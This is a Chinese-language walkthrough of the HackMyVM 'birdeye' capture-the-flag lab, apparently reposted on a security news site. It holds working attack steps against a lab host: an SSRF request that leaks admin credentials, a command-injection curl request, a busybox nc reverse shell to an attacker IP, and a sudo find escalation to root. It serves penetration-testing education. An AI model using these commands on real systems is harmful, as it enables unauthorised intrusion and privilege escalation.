HackMyVm靶场之birdeye

admin 2025-12-22 03:53:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章详细介绍了HackMyVm靶场birdeye的渗透测试过程,包括通过端口扫描发现SSRF漏洞,利用该漏洞获取管理员凭据,然后利用命令执行漏洞反弹shell,最后通过sudofind命令提权到root。文章提供了完整的命令和截图,适合渗透测试初学者学习实战技巧。 综合评分: 85 文章分类: 渗透测试,漏洞分析,实战经验,WEB安全


cover_image

HackMyVm靶场之birdeye

原创

MS02423

MS02423

2025年12月19日 20:32 新加坡

这个靶场我主要是为了演示前半部分如何获取到shell.后半部分的提权太简单了,直接跟没有的一样我们一条命令就可以解决的,我们一起来看看这个靶场。

1.探测IP

arp-scan -l

靶场IP是192.168.137.57

2.扫描IP

1)扫描端口

 nmap -p- -sV 192.168.137.57

端口开放53,80,5000端口,我们的思路就是在80或者5000端口发现信息,然后想办法进行反弹shell,因为没有ssh服务,所以我们是没有办法登录的。

2)扫描目录

dirsearch -u http://192.168.137.57

gobuster dir -u http://192.168.137.57/ -w /usr/share/dirb/wordlists/common.txt -x .php,.html,.txt -t 50

2个扫描器都扫描到/admin,我们去访问看看,目前就没有任何的信息了。

3.访问IP

http://192.168.137.57

80端口访问一个web界面

http://192.168.137.57:5000/

我们可以看到5000端口访问是没有任何东西的

我们去访问/admin目录试试看

{“error”:”Forbidden”} 是一个 HTTP 403 Forbidden 错误的 JSON 格式响应。

HTTP 状态码: 403 Forbidden格式: JSON (application/json)含义: 服务器理解请求,但拒绝执行

我们先放放

4.渗透测试

首先,我们去看看80端口有没有有用的信息

http://192.168.137.57/products

我们可以看到一个输入框,我们输入内容去抓包看看

这表明服务器端获取功能可以访问内部服务(SSRF)

那么就是ssrf漏洞了,那么我们去扫描一下/admin目录,看看有没有其他的东西

扫描admin目录

这里我们有2个方法,一个是使用gobuster工具,这里我们需要设置一些命令的,因为我们扫描的/admin状态码是403的,如果不设置的话会直接报错的

第一种方法gobouster

gobuster dir -u http://192.168.137.57/admin  -w /usr/share/dirb/wordlists/common.txt

那么我们就排除长度为22的即可

-xl 22排除长度为22的,线程为20

gobuster dir -u http://192.168.137.57/admin/   -w /usr/share/dirb/wordlists/common.txt -xl  22 -t 20

我们可以看到有扫描到2个目录,我们进行访问即可

第二种方法feroxbuster

它是另一种扫描器,这个我们不用设置任何命令,直接可以扫描到目录的

feroxbuster -u http://192.168.137.57/admin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

我们可以看到扫描到/config目录,我们去访问试试看

访问config目录

http://192.168.137.57/admin/config

告诉我们直接内部访问,那么我们去burp里面访问

api/fetch-url?url=http://127.0.0.1/admin/config告诉我们内部访问,那么我们就使用127.0.0.1进行访问

我们可以看到一些用户名和密码,还有路径我们进行访问

{"admin_password":"SuperSecret123!","admin_user":"superadmin","login_panel_path":"/admin/panelloginpage"}

返回了

"Invalid credentials"

意思是 “无效的凭据” 或 “凭证错误”

我们可以看到返回的状态码是200,但是没有任何的信息,我们查看响应头可以看到我们是缺少这2个的,我们需要补全的,而且登录页面应该是POST请求,而不是GET请求的

Access-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Headers: Content-Type

记得这里的GET变成POST一定不用去手动去修改,然后手动修改的话,虽然返回的是200状态码,但是没有cookie值的

这是手动修改的POST,我们可以看到返回的状态码是200,但是没有cookie的

这是我们在bp里面修改的,可以看到有cookie的值,而且可以明显的看到Content-Length的数字是不一样的

我们也可以使用curl进行请求,记得里面我们使用单引号,不要使用双引号,不然的话是会报错的

curl -iX POST \  'http://192.168.137.57/api/fetch-url?url=http://localhost/admin/panelloginpage&method=POST' \  -H 'Content-Type: application/x-www-form-urlencoded' \  -d 'admin_user=superadmin&admin_password=SuperSecret123!'

既然我们获取了cookie,那么我们使用cookie去查看,记得路径不是admin了,是dashboard

我们需要修改的地方为3处,第一次是路径,第二处是添加cookie的值,第三次是把用户名和密码修改成command

告诉我们command输入值的

命令执行漏洞

那么我们猜测可能就是命令执行漏洞,我们试试查看id

我们也可以使用curl进行查看

curl -iX POST   'http://192.168.137.57/admin/dashboard' -H 'Cookie: session=eyJhZG1pbl9hdXRoZW50aWNhdGVkIjp0cnVlfQ.aUUTIQ.W2d4LC5kyG9qZGJwqGuTlTDHfpI;' -d 'command=id'

我们可以看到返回www-data,那么存在命令执行漏洞,我们使用nc进行反弹

反弹shell

我们也可以在浏览器里面进行设置

这里nc -e好像是使用不了的,我们换一种方法进行反弹

busybox nc 192.168.137.102 1234 -e /bin/bash

我们可以看到反弹成功

获取user的flag

我们可以看到一个user.txt文件,但是我们没有权限的访问的,我们可以看到一个backup_app.sh脚本我们去查看

那么我们就直接运行脚本即可切换到sev用户的

 sudo -u sev /home/sev/backup_app.sh

我们可以看到切换成功,那么我们就查看刚刚没有权限看到的user.txt文件

获取root权限

sudo -l

直接find提权即可

sudo find -name user.txt -exec "/bin/sh" -p \;

我们可以看到提权成功

查看root的flag

至此,这个靶场渗透成功

这个靶场,我感觉前面获取shell的部分是可以的,后面提权的部分就感觉有点太简单了,没有什么难度。


查看原文:《HackMyVm靶场之birdeye》

评论:0   参与:  4